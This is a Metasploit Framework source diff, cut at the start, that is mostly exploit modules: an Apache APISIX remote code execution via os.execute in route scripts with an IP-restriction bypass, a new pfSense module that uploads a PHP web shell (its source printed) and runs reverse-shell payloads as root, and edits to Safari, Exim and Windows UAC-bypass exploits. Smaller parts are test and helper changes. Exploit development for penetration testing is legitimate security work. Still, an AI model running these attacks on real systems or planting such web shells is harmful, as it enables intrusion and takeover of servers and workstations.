Rex::Version.new('2') + end + return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running') + end + + def exploit + # batch request is the preferred method because it bypass the ip-restriction plugin + if batch_request_enabled? + @payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}" + filter_func_exec + # trigger the payload + apisix_request({ + 'uri' => normalize_uri(@payload_uri), + 'method' => 'GET' + }) + else + add_route + end + handler + end + + def cleanup + return unless @payload_uri + + data = { + 'uri' => @payload_uri + } + pipeline = [ + { + 'path' => normalize_uri(target_uri.path, '/admin/routes/index'), + 'method' => 'DELETE', + 'body' => JSON.dump(data) + } + ] + vprint_status("Deleting route #{@payload_uri}") + # remove the route + res = batch_request(batch_body(pipeline)) + vprint_error('Unable to delete the route') unless res.code == 200 + end + + def apisix_request(params = {}) + params.merge!({ + 'ctype' => 'application/json', + 'headers' => { + 'X-API-KEY' => datastore['API_KEY'], + 'Accept' => '*/*', + 'Accept-Encoding' => 'gzip, deflate' + } + }) + + send_request_cgi(params) + end + + # Using batch request to bypass ip-restriction policies (CVE-2022-24112) + def batch_request(data = nil) + params = { + 'uri' => normalize_uri(target_uri.path, '/batch-requests'), + 'method' => 'POST' + } + params.merge!({ 'data' => data }) if data + + apisix_request(params) + end + + def batch_body(pipeline = []) + headers = { + 'X-Real-IP': datastore['ALLOWED_IP'].to_s, + 'X-API-KEY' => datastore['API_KEY'].to_s, + 'Content-Type' => 'application/json' + } + + { + 'headers' => headers, + 'timeout' => 1500, + 'pipeline' => pipeline + }.to_json + end + + def base_data + { + 'uri' => Rex::Text.rand_text_alpha_lower(6), + 'upstream' => { + 'type' => 'roundrobin', + 'nodes' => { Faker::Internet.domain_name.to_s => 1 } + } + } + end + + def add_route + # This method use the script parameter to execute the payload + stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' }) + # binding.pry + data = base_data.merge({ + 'script' => stub + }) + uri = normalize_uri(target_uri.path, '/admin/routes') + if batch_request_enabled? + pipeline = [ + { + 'method' => 'POST', + 'path' => uri, + 'body' => data + } + ] + batch_request(batch_body(pipeline)) + else + params = { + 'method' => 'POST', + 'uri' => uri, + 'data' => JSON.dump(data) + } + apisix_request(params) + end + end + + def filter_func_exec + # This method use the filter_func parameter to execute the payload + stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' }) + + data = base_data.merge({ + 'uri' => @payload_uri, + 'name' => Rex::Text.rand_text_alpha_lower(6), + 'filter_func' => stub + }) + if batch_request_enabled? + pipeline = [ + { + 'path' => normalize_uri(target_uri.path, '/admin/routes/index'), + 'method' => 'PUT', + 'body' => JSON.dump(data) + } + ] + # add the route + res = batch_request(batch_body(pipeline)) + vprint_error('Unable to create route') unless res.code == 200 + else + params = { + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, '/admin/routes/index'), + 'data' => JSON.dump(data) + } + apisix_request(params) + end + end + + def direct_access? + res = apisix_request({ + 'uri' => normalize_uri(target_uri.path, '/admin/routes'), + 'method' => 'GET' + }) + + return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/) + + true + end + + def batch_request_enabled? + res = apisix_request({ + 'uri' => normalize_uri(target_uri.path, '/batch-requests'), + 'method' => 'POST' + }) + + return false if res.code == 404 + + true + end + +end diff --git a/modules/exploits/osx/browser/safari_in_operator_side_effect.rb b/modules/exploits/osx/browser/safari_in_operator_side_effect.rb index 6490aa2b3d..0e3b4971ce 100644 --- a/modules/exploits/osx/browser/safari_in_operator_side_effect.rb +++ b/modules/exploits/osx/browser/safari_in_operator_side_effect.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File - include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpServer::BrowserExploit def initialize(info = {}) super( @@ -42,6 +42,11 @@ class MetasploitModule < Msf::Exploit::Remote ['CVE', '2020-9856'], ['URL', 'https://github.com/sslab-gatech/pwn2own2020'], ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Stability' => [CRASH_SAFE] + }, 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, 'Targets' => [ @@ -52,9 +57,6 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => '2020-03-18' ) ) - register_advanced_options([ - OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]), - ]) end def exploit_js @@ -464,12 +466,6 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} - print_status("[*] #{request.body}") - send_response(cli, '') - return - end - user_agent = request['User-Agent'] print_status("Request #{request.uri} from #{user_agent}") if request.uri.ends_with? '.pdf' @@ -522,20 +518,7 @@ class MetasploitModule < Msf::Exploit::Remote #{exploit_js} JS - if datastore['DEBUG_EXPLOIT'] - debugjs = %^ -print = function(arg) { - var request = new XMLHttpRequest(); - request.open("POST", "/print", false); - request.send("" + arg); -}; -^ - jscript = "#{debugjs}#{jscript}" - else - jscript.gsub!(%r{//.*$}, '') # strip comments - jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); - end - + jscript = add_debug_print_js(jscript) pdfpath = datastore['URIPATH'] || get_resource pdfpath += '/' unless pdfpath.end_with? '/' pdfpath += "#{Rex::Text.rand_text_alpha(4..8)}.pdf" diff --git a/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb b/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb new file mode 100644 index 0000000000..5559c0db1d --- /dev/null +++ b/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb @@ -0,0 +1,227 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'pfSense Diag Routes Web Shell Upload', + 'Description' => %q{ + This module exploits an arbitrary file creation vulnerability in the pfSense + HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2 + and can be exploited by an authenticated user if they have the + "WebCfg - Diagnostics: Routing tables" privilege. + + This module uses the vulnerability to create a web shell and execute payloads + with root privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery + 'jbaines-r7' # metasploit module + ], + 'References' => [ + ['CVE', '2021-41282'], + ['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/'] + ], + 'DisclosureDate' => '2022-02-23', + 'Platform' => ['unix', 'bsd'], + 'Arch' => [ARCH_CMD, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_openssl' + }, + 'Payload' => { + 'Append' => ' & disown' + } + } + ], + [ + 'BSD Dropper', + { + 'Platform' => 'bsd', + 'Arch' => [ARCH_X64], + 'Type' => :bsd_dropper, + 'CmdStagerFlavor' => [ 'curl' ], + 'DefaultOptions' => { + 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options [ + OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']), + OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]), + OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true]) + ] + + @webshell_uri = '/' + @webshell_path = '/usr/local/www/' + end + + # Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately, + # pfsense permissions can be so locked down that we have to try direct exploitation + # in order to determine vulnerability. A user can even be restricted from the + # dashboard (where other pfsense modules extract the version). + def check + # Grab a CSRF token so that we can log in + res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php')) + return CheckCode::Unknown("Didn't receive a response from the target.") unless res + return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200 + return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('pfSense - Login') + + /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body + return CheckCode::Unknown('Could not find CSRF token') unless csrf + + # send the log in attempt + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'method' => 'POST', + 'vars_post' => { + '__csrf_magic' => csrf, + 'usernamefld' => datastore['USERNAME'], + 'passwordfld' => datastore['PASSWORD'], + 'login' => '' + } + ) + + return CheckCode::Detected('No response to log in attempt.') unless res + return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302 + + # save the auth cookie for later user + @auth_cookies = res.get_cookies + + # attempt the exploit. Upload a random file to /usr/local/www/ with random contents + filename = Rex::Text.rand_text_alpha(4..12) + contents = Rex::Text.rand_text_alpha(16..32) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'), + 'cookie' => @auth_cookies, + 'encode_params' => false, + 'vars_get' => { + 'isAjax' => '1', + 'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23" + } + }) + + return CheckCode::Safe('No response to upload attempt.') unless res + return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200 + + # Validate the exploit was successful by requesting the uploaded file + res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies }) + return CheckCode::Safe('No response to exploit validation check.') unless res + return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200 + + register_file_for_cleanup("#{@webshell_path}#{filename}") + CheckCode::Vulnerable() + end + + # Using the path traversal, upload a php webshell to the remote target + def drop_webshell + webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}") + print_status("Uploading webshell to #{webshell_location}") + + # php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>' + php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e' + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'), + 'cookie' => @auth_cookies, + 'encode_params' => false, + 'vars_get' => { + 'isAjax' => '1', + 'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23" + } + }) + + fail_with(Failure::Disconnected, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 + + # Test the web shell installed by echoing a random string and ensure it appears in the res.body + print_status('Testing if web shell installation was successful') + rand_data = Rex::Text.rand_text_alphanumeric(16..32) + res = execute_via_webshell("echo #{rand_data}") + fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data) + print_good("Web shell installed at #{webshell_location}") + + # This is a great place to leave a web shell for persistence since it doesn't require auth + # to touch it. By default, we'll clean this up but the attacker has to option to leave it + if datastore['DELETE_WEBSHELL'] + register_file_for_cleanup("#{@webshell_path}#{@webshell_name}") + end + end + + # Executes commands via the uploaded webshell + def execute_via_webshell(cmd) + if target['Type'] == :bsd_dropper + # the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good + # way to force the payload to background itself (and thus allow the HTTP response to + # to return). So we hack it in ourselves. This identifies the ending file cleanup + # which should be right after executing the payload. + cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/') + end + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"), + 'vars_get' => { + 'cmd' => cmd + } + }) + + fail_with(Failure::Disconnected, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 + res + end + + def execute_command(cmd, _opts = {}) + execute_via_webshell(cmd) + end + + def exploit + # create a randomish web shell name if the user doesn't specify one + @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php" + + drop_webshell + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :bsd_dropper + execute_cmdstager + end + end +end diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index 89081ecff9..8caf16f6c0 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable") end - ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") + ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n") ehlo_resp.each_line do |line| print_status("EHLO: #{line.strip}") end @@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote from = datastore['MAILFROM'] to = datastore['MAILTO'] - resp = raw_send_recv("MAIL FROM: #{from}\r\n") + resp = smtp_send_recv("MAIL FROM: #{from}\r\n") resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status(msg) end - resp = raw_send_recv("RCPT TO: #{to}\r\n") + resp = smtp_send_recv("RCPT TO: #{to}\r\n") resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status(msg) end - resp = raw_send_recv("DATA\r\n") + resp = smtp_send_recv("DATA\r\n") resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' @@ -251,21 +251,21 @@ class MetasploitModule < Msf::Exploit::Remote sock.put body print_status("Ending first message.") - buf = raw_send_recv("\r\n.\r\n") + buf = smtp_send_recv("\r\n.\r\n") # Should be: "552 Message size exceeds maximum permitted\r\n" print_status("Result: #{buf.inspect}") if buf second_result = "" print_status("Sending second message ...") - buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") + buf = smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") # Should be: "sh-x.x$ " !! if buf print_status("MAIL result: #{buf.inspect}") second_result << buf end - buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n") + buf = smtp_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n") # Should be: "sh: RCPT: command not found\n" if buf print_status("RCPT result: #{buf.inspect}") @@ -296,7 +296,7 @@ class MetasploitModule < Msf::Exploit::Remote if resp !~ /Summary of my perl/ print_status("Should have a shell now, sending payload...") - buf = raw_send_recv("\n" + payload.encoded + "\n\n") + buf = smtp_send_recv("\n" + payload.encoded + "\n\n") if buf if buf =~ /554 SMTP synchronization error/ print_error("This target may be patched: #{buf.strip}") diff --git a/modules/exploits/windows/local/bypassuac_comhijack.rb b/modules/exploits/windows/local/bypassuac_comhijack.rb index babb170c5e..16fa1e7c3c 100644 --- a/modules/exploits/windows/local/bypassuac_comhijack.rb +++ b/modules/exploits/windows/local/bypassuac_comhijack.rb @@ -6,13 +6,14 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck include Post::Windows::Priv include Post::Windows::Registry include Post::Windows::Runas include Exploit::FileDropper - CLSID_PATH = "HKCU\\Software\\Classes\\CLSID" - DEFAULT_VAL_NAME = '' # This maps to "(Default)" + CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze + DEFAULT_VAL_NAME = ''.freeze # This maps to "(Default)" def initialize(info = {}) super( @@ -51,6 +52,11 @@ class MetasploitModule < Msf::Exploit::Local ['URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf'] ], 'DisclosureDate' => '1900-01-01', + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] + }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ @@ -63,11 +69,26 @@ class MetasploitModule < Msf::Exploit::Local end def check - if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled? - Exploit::CheckCode::Appears - else - Exploit::CheckCode::Safe + vprint_status("System OS Detected: #{sysinfo['OS']}") + # return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled? + if sysinfo['OS'] =~ /Windows (7|8|2008|2012)/ + return CheckCode::Appears end + + if sysinfo['OS'] =~ /Windows (10|2016)/ + sysinfo_value = sysinfo['OS'] + build_num_arr = sysinfo_value.split('Build') + return CheckCode::Safe('Unable to determine build Number') if build_num_arr.length < 2 + + build_num = build_num_arr[1].to_i + vprint_status("Detected build number: #{build_num}") + if build_num < 18362 + return CheckCode::Appears + else + return CheckCode::Safe + end + end + return CheckCode::Safe end def exploit @@ -100,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Local return end - payload = generate_payload_dll({ :dll_exitprocess => true }) + payload = generate_payload_dll({ dll_exitprocess: true }) commspec = expand_path('%COMSPEC%') dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll") hijack = hijack_com(registry_view, dll_name) @@ -115,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Local write_file(dll_name, payload) register_file_for_cleanup(dll_name) - print_status("Executing high integrity process ...") + print_status("Executing high integrity process #{expand_path(hijack[:cmd_path])}") args = "/c #{expand_path(hijack[:cmd_path])}" args << " #{hijack[:cmd_args]}" if hijack[:cmd_args] @@ -124,11 +145,11 @@ class MetasploitModule < Msf::Exploit::Local client.sys.process.execute(commspec, args, { 'Hidden' => true }) # Wait a copule of seconds to give the payload a chance to fire before cleaning up - Rex::sleep(5) + Rex.sleep(5) handler(client) ensure - print_status("Cleaning up registry ...") + print_status('Cleaning up registry; this can take some time...') registry_deletekey(hijack[:root_key], registry_view) end end @@ -187,10 +208,6 @@ class MetasploitModule < Msf::Exploit::Local vprint_status('Checking admin status...') admin_group = is_in_admin_group? - unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") - end - unless is_in_admin_group? fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end @@ -199,12 +216,10 @@ class MetasploitModule < Msf::Exploit::Local if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index 06a0c7a025..b1283f2486 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -6,7 +6,7 @@ module MetasploitModule - CachedSize = 115833 + CachedSize = 116377 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 583aa191f8..62c6151828 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -6,7 +6,7 @@ module MetasploitModule - CachedSize = 115825 + CachedSize = 116369 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 0eea713ff5..70a8126136 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -6,7 +6,7 @@ module MetasploitModule - CachedSize = 115825 + CachedSize = 116369 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 71767276cb..c54c7eb320 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -6,7 +6,7 @@ module MetasploitModule - CachedSize = 115733 + CachedSize = 116277 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index 13e673d131..59acb4e2f6 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -217,6 +217,6 @@ class MetasploitModule < Msf::Post #------------------------------------------------------------------------------- def create_payload_from_file(exec) print_status("Reading Payload from file #{exec}") - ::IO.read(exec) + File.binread(exec) end end diff --git a/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb b/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb new file mode 100644 index 0000000000..60f1b5166e --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb @@ -0,0 +1,93 @@ +RSpec.describe Msf::Exploit::Remote::SMTPDeliver do + + context "#smtp_send_recv" do + subject(:instance) { + mod = Msf::Exploit::Remote.allocate + mod.extend described_class + mod + } + + + let (:socket) { + double(Rex::Socket::Tcp) + } + let (:cmd) { + "EHLO" + } + let(:ehlo_resp1) { + "250-ip-10-140-50-23.us-west-1.compute.internal\r\n250-XXXA\r250-PIPELINING\r\n250-AUTH CRAM-MD5 LOGIN PLAIN\r\n" + } + let(:ehlo_resp2) { + "250-SIZE 512000\r\n250-VRFY\r\n250-ETRN\r\n250-ENHANCEDSTATUSCODES\r\n250-8BITMIME\r\n250-XXXXXXXB\r\n250-XXXC\r\n" + } + let(:ehlo_resp3) { + "250 DSN" + } + let(:ehlo_resp4) { + "\r\n" + } + + before { + allow(instance).to receive(:vprint_status) + allow(socket).to receive(:put) + allow(socket).to receive(:get_once).and_return(ehlo_resp1, ehlo_resp2, ehlo_resp3, ehlo_resp4) + } + + it "should read the socket for continuation messages" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp3 + ehlo_resp4) + end + + context "when a single response occurs" do + let(:ehlo_resp1) { + "250 DSN\r\n" + } + + before { + allow(socket).to receive(:get_once).and_return(ehlo_resp1) + } + + + it "passes" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp1) + end + end + + context "when the server response is terse" do + let(:ehlo_resp3) { + "250" + } + + it "should support a final line with no space or extra data" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp3 + ehlo_resp4) + end + end + + context "when incomplete response is received" do + # a nil from `get_once` simulates a Timeout expired + let(:ehlo_resp4){ + nil + } + + it "should raise error when the response is incomplete" do + expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError + end + end + + context "when excess data response is received" do + # a nil from `get_once` simulates a Timeout expired + let(:ehlo_resp3){ + "250 DSN\r\n253 additional unexpected data" + } + let(:ehlo_resp4){ + nil + } + + it "should raise error when the response is incomplete" do + expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError + end + end + end +end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 8cc0f715ee..68a2ca41a1 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -45,6 +45,46 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do expect(tlv).to respond_to :from_r end + context "TLV with value mapped to a single type" do + subject(:tlv) { + Rex::Post::Meterpreter::Tlv.new( + Rex::Post::Meterpreter::TLV_TYPE_RESULT, + 0 + ) + } + + it "should have a single type" do + expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=RESULT meta=INT value=0>" + end + end + + context "TLV with value mapped to multiple types" do + subject(:tlv) { + Rex::Post::Meterpreter::Tlv.new( + 151074, # Multiple TLV Types are defined as this value, as described here: https://github.com/rapid7/metasploit-framework/pull/16258#discussion_r817878469 + 0 + ) + } + + # https://github.com/rapid7/metasploit-framework/pull/16258#discussion_r817878469 + it "should handle multiple types in alphabetical order" do + expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=oneOf(EXT_WINDOW_ENUM_PID,PEINJECTOR_SHELLCODE_SIZE,SNIFFER_INTERFACE_ID,WEBCAM_INTERFACE_ID) meta=INT value=0>" + end + end + + context "TLV with an unknown TLV type" do + subject(:tlv) { + Rex::Post::Meterpreter::Tlv.new( + -1, + 0 + ) + } + + it "should have an unknown type" do + expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=unknown--1 meta=unknown-meta-type value=\"0\">" + end + end + context "A String TLV" do it "should return the correct TLV type" do expect(tlv.type).to eq Rex::Post::Meterpreter::TLV_TYPE_STRING @@ -130,7 +170,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do end it "should show the correct type and meta type in inspect" do - tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND-ID meta=INT value=1001 command=stdapi_fs_chdir>" + tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=1001 command=stdapi_fs_chdir>" expect(tlv.inspect).to eq tlv_to_s end end @@ -147,7 +187,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do end it "should show the correct type and meta type in inspect" do - tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND-ID meta=INT value=31337 command=unknown>" + tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=31337 command=unknown>" expect(tlv.inspect).to eq tlv_to_s end end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 0f20a8f02e..c1d0c9f9e7 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -1,44 +1,49 @@ # -*- coding: binary -*- require 'stringio' require 'factory_bot' +require 'rubocop' +require 'rubocop/rspec/support' +require 'faker' ENV['RAILS_ENV'] = 'test' -# @note must be before loading config/environment because railtie needs to be loaded before -# `Metasploit::Framework::Application.initialize!` is called. -# -# Must be explicit as activerecord is optional dependency -require 'active_record/railtie' -require 'rubocop' -require 'rubocop/rspec/support' -require 'metasploit/framework/database' -# check if database.yml is present -unless Metasploit::Framework::Database.configurations_pathname.try(:to_path) - fail 'RSPEC currently needs a configured database' -end +load_metasploit = ENV.fetch('SPEC_HELPER_LOAD_METASPLOIT', 'true') == 'true' -require File.expand_path('../../config/environment', __FILE__) +if load_metasploit + # @note must be before loading config/environment because railtie needs to be loaded before + # `Metasploit::Framework::Application.initialize!` is called. + # + # Must be explicit as activerecord is optional dependency + require 'active_record/railtie' + require 'metasploit/framework/database' + # check if database.yml is present + unless Metasploit::Framework::Database.configurations_pathname.try(:to_path) + fail 'RSPEC currently needs a configured database' + end -# Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use -require 'rspec/rails' + require File.expand_path('../../config/environment', __FILE__) -require 'metasploit/framework/spec' + # Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use + require 'rspec/rails' -FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/' + require 'metasploit/framework/spec' -# Load the shared examples from the following engines -engines = [ - Metasploit::Concern, - Rails -] + FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/' -# Requires supporting ruby files with custom matchers and macros, etc, -# in spec/support/ and its subdirectories. -engines.each do |engine| - support_glob = engine.root.join('spec', 'support', '**', '*.rb') - Dir[support_glob].each { |f| - require f - } + # Load the shared examples from the following engines + engines = [ + Metasploit::Concern, + Rails + ] + + # Requires supporting ruby files with custom matchers and macros, etc, + # in spec/support/ and its subdirectories. + engines.each do |engine| + support_glob = engine.root.join('spec', 'support', '**', '*.rb') + Dir[support_glob].each { |f| + require f + } + end end RSpec.configure do |config| @@ -76,7 +81,20 @@ RSpec.configure do |config| # --seed 1234 config.order = :random - config.use_transactional_fixtures = true + if load_metasploit + config.use_transactional_fixtures = true + + # rspec-rails 3 will no longer automatically infer an example group's spec type + # from the file location. You can explicitly opt-in to the feature using this + # config option. + # To explicitly tag specs without using automatic inference, set the `:type` + # metadata manually: + # + # describe ThingsController, :type => :controller do + # # Equivalent to being in spec/controllers + # end + config.infer_spec_type_from_file_location! + end # Seed global randomization in this process using the `--seed` CLI option. # Setting this allows you to use `--seed` to deterministically reproduce @@ -108,17 +126,6 @@ RSpec.configure do |config| mocks.verify_partial_doubles = true end - # rspec-rails 3 will no longer automatically infer an example group's spec type - # from the file location. You can explicitly opt-in to the feature using this - # config option. - # To 